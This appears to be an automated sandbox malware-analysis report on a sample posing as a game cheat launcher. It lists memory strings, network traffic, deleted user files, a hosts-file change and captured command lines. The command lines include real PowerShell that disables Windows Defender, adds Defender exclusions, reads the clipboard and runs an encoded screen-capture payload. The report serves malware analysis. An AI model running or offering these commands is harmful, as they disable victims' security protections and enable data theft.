Source: CHANGELOG.md5.13.dr	String found in binary or memory: https://github.com/ljharb/get-intrinsic/issues/3)
Source: CHANGELOG.md5.13.dr	String found in binary or memory: https://github.com/ljharb/get-intrinsic/issues/9)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/02daca87c6809821c97be468d1afa2f5ef447383)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/04296ea17d1544b0a5d20fd5bfb31aa4f6513eb9)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/10909cbf8ce9c0bf96f604cf13d7ffd5a22c2d40)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/130f0a6adbc04d385c7456a601d38344dce3d6a9)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/18d01c4015b82a3d75044c4d5ba7917b2eac01ec)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/195613f28b5c1e6072ef0b61b5beebaf2b6a304e)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/1f105611ef3acf32dec8032ae5c0baa5e56bb868)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/290ec29cd21a60585145b4a7237ec55228c52c27)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/2f098ef092a39399cfe548b19a1fc03c2fd2f490)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/3bcf982faa122745b39c33ce83d32fdf003741c6)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/3d2e1ffd16dd6eaaf3e40ff57951f840d2d63c04)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/40227a87b01709ad2c0eebf87eb4223a800099b9)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/431d0f0ff11fbd2ae6f3115582a356d3a1cfce82)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/4334cf9df654151504c383b62a2f9ebdc8d9d5ac)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/43c03e1c2849ec50a87b7a5cd76238a62b0b8770)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/46a5a81705cd2664f83df232c01dbbf2ee952885)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/49869fd323bf4453f0ba515c0fb265cf5ab7b932)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/4a526df44e4701566ed001ec78546193f818b082)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/5130877a7b27c862e64e6d1c12a178b28808859d)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/550aadf20475a6081fd70304cc54f77259a5c8a8)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/5c090a765d66a5527d9889b89aeff78dee91348c)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/63d7aeaf34f5650650ae97ca4b9fae685bd0937c)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/6ab096d9de2b482cf5e0717e34e212f5b2b9bc9a)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/6aca3761868dc8cd5ff7fd9799bf6b95e09a6eb0)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/7055ab4de0860606efd2003674a74f1fe6ebc07e)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/7125b885fd0eacad4fee9b073b72d14065ece278)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/73bdefe568c9076cf8c0b8719bc2141aec0e19b8)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/75240b9963b816e8846400d2287cb68f88c7fba7)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/7726b0b058b632fccea709f58960871defaaa9d7)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/77d9cdceb2a9e47700074f2ae0c0a202e7dac0d4)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/82577c9796304519139a570f82a317211b5f3b86)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/8b16b0305f00895d90c4e2e5773c854cfea0e448)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/985fd249663cb06617a693a94fe08cad12f5cb70)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/9beef6643e6d717ea57bedabf86448123a7dd9e9)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/9dc174cc651dfd300b4b72da936a0a7eda5f9452)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/a5c4e5675ec02d5eb4d84b4243aeea2a1d38fbec)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/a989b4024958737ae7be9fbffdeff2078f33a0fd)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/ae8d281572430099109870fd9430d2ca3f320b8d)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/aec42d2ec541a31aaa02475692c87d489237d9a3)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/b9b2b225f9e0ea72a6ec2b89348f0bd690bc9ed1)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/ba0194c505b1a8a0427be14cadd5b8a46d4d01b8)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/bab1683d8f9754b086e94397699fdc645e0d7077)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/bc201597949a505e37cef9eaf24c7010831e6f03)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/d2129073abf0701a5343bf28aa2145617604dc2e)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/d278c37d08227be4f84aa769fcd919e73feeba40)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/d464d8fe52b5eddf1504a0ed97f0941a90f32c15)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/d480c2fbe757489ae9b4275491ffbcc3ac4725e9)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/d4f6e629b6fb93a07415db7f30d3c90fd7f264fe)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/d6043c4d8f4d7be9037dd0f0419c7a2e0e39ec6a)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/dbebd3a4b5ed64242f9a6810efe7c4214cd8cde4)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/e09d481528452ebafa5cdeae1af665c35aa2deee)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/ea6d030ff3fe6be2eca39e859d644c51ecd88869)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/ecbe70e53a418234081a77971fec1fdfae20c841)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/commit/ee83aa81df313b5e46319a63adb05cf0c179079a)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/compare/v1.0.0...v1.0.1)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/compare/v1.0.1...v1.0.2)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/compare/v1.0.2...v1.0.3)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/compare/v1.0.3...v1.0.4)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/compare/v1.0.4...v1.0.5)
Source: CHANGELOG.md11.13.dr	String found in binary or memory: https://github.com/ljharb/side-channel/compare/v1.0.5...v1.0.6)
Source: index.js37.13.dr	String found in binary or memory: https://github.com/lodash/lodash/blob/4.17.15/dist/lodash.js#L6735-L6744
Source: shell.js.13.dr, python.js.13.dr, pascal.js.13.dr, perl.js.13.dr, html.js.13.dr, sophia.js.13.dr, pascaligo.js.13.dr, freemarker2.js.13.dr, azcli.js.13.dr	String found in binary or memory: https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
Source: simpleWorker.nls.js.13.dr, editor.main.nls.zh-tw.js0.13.dr, editor.main.nls.ru.js0.13.dr	String found in binary or memory: https://github.com/microsoft/vscode/blob/main/LICENSE.txt
Source: Built.exe, 0000000F.00000003.2159286294.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: Built.exe, 0000000F.00000003.2158751048.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159036711.00000114EA4D2000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2157078327.00000114E8B73000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2158170543.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159286294.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: CheatLauncherV2.exe, 00000009.00000002.2142214795.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SolaraBootstrapper.exe, 0000000D.00000000.2139033491.0000000000662000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zipK
Source: index.js37.13.dr	String found in binary or memory: https://github.com/tc39/proposal-shadowrealm/pull/384#issuecomment-1364264229
Source: Built.exe, 0000000F.00000003.2158751048.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159036711.00000114EA4D2000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2157078327.00000114E8B73000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2158170543.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159286294.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: README.md45.13.dr	String found in binary or memory: https://github.com/zloirock/core-js)
Source: README.md20.13.dr	String found in binary or memory: https://img.shields.io/coveralls/jshttp/etag/master.svg
Source: README.md30.13.dr	String found in binary or memory: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/Raynos/funct
Source: README.md45.13.dr, README.md42.13.dr	String found in binary or memory: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/inspect-js/h
Source: README.md19.13.dr	String found in binary or memory: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/es-er
Source: README.md20.13.dr	String found in binary or memory: https://img.shields.io/node/v/etag.svg
Source: README.md19.13.dr	String found in binary or memory: https://img.shields.io/npm/dm/es-errors.svg
Source: README.md20.13.dr	String found in binary or memory: https://img.shields.io/npm/dm/etag.svg
Source: README.md30.13.dr	String found in binary or memory: https://img.shields.io/npm/dm/function-bind.svg
Source: README.md42.13.dr	String found in binary or memory: https://img.shields.io/npm/dm/has-proto.svg
Source: README.md45.13.dr	String found in binary or memory: https://img.shields.io/npm/dm/has-symbols.svg
Source: README.md19.13.dr	String found in binary or memory: https://img.shields.io/npm/l/es-errors.svg
Source: README.md30.13.dr	String found in binary or memory: https://img.shields.io/npm/l/function-bind.svg
Source: README.md42.13.dr	String found in binary or memory: https://img.shields.io/npm/l/has-proto.svg
Source: README.md45.13.dr	String found in binary or memory: https://img.shields.io/npm/l/has-symbols.svg
Source: README.md20.13.dr	String found in binary or memory: https://img.shields.io/npm/v/etag.svg
Source: README.md20.13.dr	String found in binary or memory: https://img.shields.io/travis/jshttp/etag/master.svg
Source: CHANGELOG.md5.13.dr, CHANGELOG.md15.13.dr, CHANGELOG.md11.13.dr, CHANGELOG.md13.13.dr	String found in binary or memory: https://keepachangelog.com/en/1.0.0/)
Source: README.md19.13.dr	String found in binary or memory: https://nodei.co/npm/es-errors.png?downloads=true&stars=true
Source: README.md30.13.dr	String found in binary or memory: https://nodei.co/npm/function-bind.png?downloads=true&stars=true
Source: README.md42.13.dr	String found in binary or memory: https://nodei.co/npm/has-proto.png?downloads=true&stars=true
Source: README.md45.13.dr	String found in binary or memory: https://nodei.co/npm/has-symbols.png?downloads=true&stars=true
Source: README.md20.13.dr	String found in binary or memory: https://nodejs.org/en/)
Source: README.md20.13.dr	String found in binary or memory: https://nodejs.org/en/download/
Source: README.md19.13.dr	String found in binary or memory: https://npm-stat.com/charts.html?package=es-errors
Source: README.md30.13.dr	String found in binary or memory: https://npm-stat.com/charts.html?package=function-bind
Source: README.md42.13.dr	String found in binary or memory: https://npm-stat.com/charts.html?package=has-proto
Source: README.md45.13.dr	String found in binary or memory: https://npm-stat.com/charts.html?package=has-symbols
Source: README.md19.13.dr	String found in binary or memory: https://npmjs.org/package/es-errors
Source: README.md20.13.dr	String found in binary or memory: https://npmjs.org/package/etag
Source: README.md30.13.dr	String found in binary or memory: https://npmjs.org/package/function-bind
Source: README.md42.13.dr	String found in binary or memory: https://npmjs.org/package/has-proto
Source: README.md45.13.dr	String found in binary or memory: https://npmjs.org/package/has-symbols
Source: CheatLauncherV2.exe, 00000009.00000002.2142214795.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SolaraBootstrapper.exe, 0000000D.00000000.2139033491.0000000000662000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: CHANGELOG.md5.13.dr, CHANGELOG.md15.13.dr, CHANGELOG.md11.13.dr, CHANGELOG.md13.13.dr	String found in binary or memory: https://semver.org/spec/v2.0.0.html).
Source: README.md19.13.dr	String found in binary or memory: https://tidelift.com/security
Source: README.md20.13.dr	String found in binary or memory: https://travis-ci.org/jshttp/etag
Source: README.md30.13.dr	String found in binary or memory: https://versionbadg.es/Raynos/function-bind.svg
Source: README.md42.13.dr	String found in binary or memory: https://versionbadg.es/inspect-js/has-proto.svg
Source: README.md45.13.dr	String found in binary or memory: https://versionbadg.es/inspect-js/has-symbols.svg
Source: README.md19.13.dr	String found in binary or memory: https://versionbadg.es/ljharb/es-errors.svg
Source: README.md20.13.dr	String found in binary or memory: https://www.npmjs.com/).
Source: README.md45.13.dr	String found in binary or memory: https://www.npmjs.com/package/core-js)
Source: README.md45.13.dr	String found in binary or memory: https://www.npmjs.com/package/get-own-property-symbols)
Source: Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49725 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\agentInto\fontsessionruntime.exe	Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\EFOYFBOLXA.docx
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\QCOILOQIKC.png
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\KLIZUSIQEN.mp3
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\KLIZUSIQEN.mp3
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File deleted: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\GRXZDKKVDB.docx

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File written: C:\Windows\System32\drivers\etc\hosts

Source: cmd.exe

Process created: 48

System Summary

Very long command line found

Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
